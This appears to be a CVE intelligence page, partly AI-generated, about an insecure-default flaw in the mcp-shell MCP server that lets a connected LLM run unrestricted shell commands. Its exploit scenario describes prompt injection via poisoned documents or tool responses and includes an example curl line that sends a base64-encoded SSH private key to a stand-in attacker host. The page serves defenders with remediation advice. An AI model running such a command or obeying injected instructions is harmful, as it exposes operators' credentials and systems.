Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessOperator installs mcp-shell following README without security config
-
DeliveryLLM client connects via stdio with Security.Enabled=false
-
ExploitAttacker injects malicious instruction into LLM context via poisoned data
-
ExecutionLLM issues shell_exec tool call with arbitrary command
-
Persistmcp-shell executes command unrestricted as process user
-
ImpactCredentials exfiltrated or persistent access established
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires mcp-shell version prior to v0.6.0 running without MCP_SHELL_SEC_CONFIG_FILE set - the exact state produced by following either the from-source installation path or the MCP client configuration example in the README verbatim. The specific enabling condition is SecurityConfig.Enabled remaining false at startup, which causes validateCommand to return nil for every command without evaluation. Exploitation further requires an LLM client to be actively connected via stdio and for the attacker to control some portion of the LLM's input (e.g., via prompt injection in a processed document, tool response, or system prompt poisoning). No OS-level credentials are required of the attacker beyond being an instruction source for the connected LLM. Exploitation is blocked when MCP_SHELL_SEC_CONFIG_FILE points to a valid policy file with enabled: true, or in v0.6.0+ when MCP_SHELL_ALLOW_UNSAFE is not set. The process user's privilege level bounds the OS-level blast radius of any executed command. |
| Impact | The CVSS 4.0 score of 8.6 (AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) correctly captures the local attack vector - exploitation requires a locally connected LLM client rather than a remote network attacker - which bounds the exposed population to operators actively running agentic AI pipelines. No EPSS data was supplied in the input, so statistical exploitation probability cannot be assessed. KEV listing is absent, meaning active exploitation has not been confirmed by CISA, though this does not preclude targeted exploitation. The practical risk is amplified significantly by the insecure-default design: every operator who follows the README installation path verbatim lands in the vulnerable state without any warning, because the documentation presented that state as normal operation. In agentic pipelines, prompt injection is the realistic initial access vector - a poisoned document or tool response fed to the connected LLM can trigger shell_exec without the operator or attacker requiring OS-level credentials. The CVSS local vector may therefore understate operational exposure for teams running multi-source data ingestion through LLM agents. The combination of insecure defaults, documentation that reinforces the insecure path, and a prompt-injection-ready attack surface warrants treating this as urgent even in the absence of confirmed KEV status. |
| Exploit ScenarioDerived | An operator installs mcp-shell from source following the README without setting MCP_SHELL_SEC_CONFIG_FILE, leaving security disabled. A document processed by the connected LLM contains an injected instruction directing it to call shell_exec with a data-exfiltration payload such as curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64). The LLM executes the tool call; mcp-shell passes the command directly to the OS shell with no filtering and returns output to the LLM, completing the exfiltration silently. The GHSA advisory itself provides a working example JSON payload demonstrating the attack; no separate POC repository has been independently identified. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Unrestricted OS command execution in mcp-shell prior to v0.6.0 allows any LLM connected via stdio to invoke the shell_exec tool with arbitrary command strings, running them as the mcp-shell process user with no filtering, allowlisting, or logging. The root cause is that config.go initializes SecurityConfig.Enabled to false and SecurityValidator.validateCommand unconditionally short-circuits when that flag is false, bypassing all CWE-78-class protections. Both the from-source installation path and the MCP client configuration example in the README omit MCP_SHELL_SEC_CONFIG_FILE, making every operator who follows the documented instructions unknowingly vulnerable. No CISA KEV listing or independent public exploit repository has been identified at time of analysis; a vendor-confirmed fix is available in v0.6.0.
RemediationAI
Upgrade to mcp-shell v0.6.0, which makes secure mode the operating default - the server now boots restricted to a narrow allowlist of read-only utilities (ls, cat, grep, find, head, tail, wc, sort, uniq, pwd, whoami, date, echo) with UseShellExecution disabled and a 30-second execution timeout. Unrestricted operation now requires affirmative opt-in via MCP_SHELL_ALLOW_UNSAFE=true. The patched release is available at https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0 and the remediation commit is f31377fce6ec31114e5a4398c0e5270552bce09f. For operators unable to upgrade immediately, the direct workaround is to create a YAML security policy with enabled: true and an explicit AllowedExecutables list, then set MCP_SHELL_SEC_CONFIG_FILE to that file's path before starting mcp-shell; this activates validation without requiring an upgrade. Do not include shell interpreters (bash, sh, python, perl, ruby) or git in the allowlist, as these accept arbitrary arguments and defeat the restriction entirely. If neither upgrade nor configuration workaround is feasible, mcp-shell should be removed from production LLM pipelines because no network-layer control exists for a stdio-transport process.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
mcp-shell is a Go-based MCP (Model Context Protocol) server that exposes a shell_exec tool over stdio transport (CPE: cpe:2.3:a:sonirico:mcp-shell:*:*:*:*:*:*:*:*). The vulnerability class is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), but the immediate trigger is a secure-by-default design failure rather than a parsing defect. config.go line 49 initializes SecurityConfig.Enabled to false; security.go lines 26-29 then short-circuit validateCommand entirely when that flag is false, logging a debug message and returning nil without evaluating the supplied command string. main.go reads MCP_SHELL_SEC_CONFIG_FILE at startup and, when the variable is unset (the documented default), leaves security disabled for the process lifetime. Because mcp-shell uses stdio transport rather than a network socket, the attack surface is the locally connected LLM client process - not an external network endpoint. The advisory also identifies a second failure mode in the Docker path: security.yaml examples that allowlist shell interpreters (bash, sh, python, git) defeat the allowlist mechanism entirely, since those interpreters accept arbitrary command arguments.
Know when Mcp Shell gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Stdio transport gives AV:L; LLM client needs no OS privileges (PR:N); arbitrary shell execution escapes the tool scope, giving S:C with full C/I/A impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, config.go initializes Security.Enabled to false, and when MCP_SHELL_SEC_CONFIG_FILE is unset, main.go starts the documented bare-binary deployment without a security policy. SecurityValidator.validateCommand in security.go then short-circuits and allows every command supplied to the shell_exec MCP tool, so an LLM connected over stdio can execute unrestricted OS commands as the mcp-shell process user. The README from-source installation and MCP client configuration omit MCP_SHELL_SEC_CONFIG_FILE, making the insecure state the documented default. This issue is fixed in version 0.6.0.
Latest POC
1 public PoC link from github
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
mcp-shell prior to v0.6.0 contains an unrestricted OS command execution vulnerability (CVSS 8.6) that allows any LLM connected to the tool to execute arbitrary operating system commands. No public exploit identified at time of analysis; however, the vulnerability is enabled by default in documented installation paths, creating substantial risk if LLM integrations are compromised or if untrusted LLM instances are connected. Organizations deploying mcp-shell should prioritize upgrading to v0.6.0 immediately.
Apply vendor patch (v0.6.0 or later). Until patching is complete, disable mcp-shell if not actively required, restrict network access to mcp-shell instances to trusted networks only, and implement strict LLM account access controls and monitoring for any systems where mcp-shell must remain active.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-65550
GHSA-f5pj-2738-996m
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB